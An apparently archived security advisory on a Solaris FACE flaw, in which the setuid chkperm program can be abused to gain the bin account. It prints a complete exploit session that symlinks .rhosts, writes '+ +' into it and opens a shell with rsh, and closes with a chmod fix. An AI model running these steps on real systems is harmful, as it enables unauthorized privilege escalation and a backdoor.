COMMAND

    /usr/vmsys/bin/chkperm

SYSTEMS AFFECTED

    Solaris 2.4, 2.5 (?), 2.5.1(?) and other System V derived  systems
    with the FACE package installed (?).

PROBLEM

    Solaris  2.4,  2.5,  and  2.5.1  (possibly  other versions) have a
    package   called   FACE   (Framed   Access   Command  Environment)
    installed.  Included  in the package  is a program  called chkperm
    which checks a file to see  if the user has permission to  use the
    FACE interface.  This program is installed suid and sgid bin,  and
    is trivially exploitable  to compromise the  bin account.   And in
    Solaris, which installs many/most  of the system binaries  as bin,
    it may be said that "binliness is next to rootliness."

        % mkdir /tmp/foo
        % mkdir /tmp/foo/lib
        % chmod -R 777 /tmp/foo
        % setenv VMSYS /tmp/foo
        % umask 0000
        % ln -s /usr/bin/.rhosts /tmp/foo/lib/.facerc
        % /usr/vmsys/bin/chkperm -l -u foo
        % ls -l /usr/bin/.rhosts
        -rw-rw-rw-  2 bin      bin            0 Nov 12 09:41 .rhosts
        % echo "+ +" >> /usr/bin/.rhosts
        % ls -l /usr/bin/.rhosts
        -rw-rw-rw-  2 bin      bin            4 Nov 12 09:41 .rhosts
        % rsh -l bin localhost /bin/csh -i
        Warning: no access to tty; thus no job control in this shell...
        % id
        uid=2(bin) gid=2(bin)

    Running chkperm in a directory  that has world write privilege  or
    in a directory that belongs to bin.  chkperm on Solaris 2.5  seems
    to create a file called <gibberish characters> in the directory
    from where you  execute it.   chkperm needs write  access for user
    bin (or  group bin)  to the  directory from  which you execute it.
    It also works  the same with  just 'chkperm -l',  you can set  the
    environment variable VMSYS to anything.

    You could create  the link (to  .rhosts in the  example) using the
    <gibberish characters>  file  name  created  by   chkperm   and
    accomplish the same result.

    The  exploit  worked  as  advertised  on  a  patched  Solaris  2.4
    machine.  The  binaries are definitely  different between 2.4  and
    2.5.

SOLUTION

    % chmod ug-s /usr/vmsys/bin/chkperm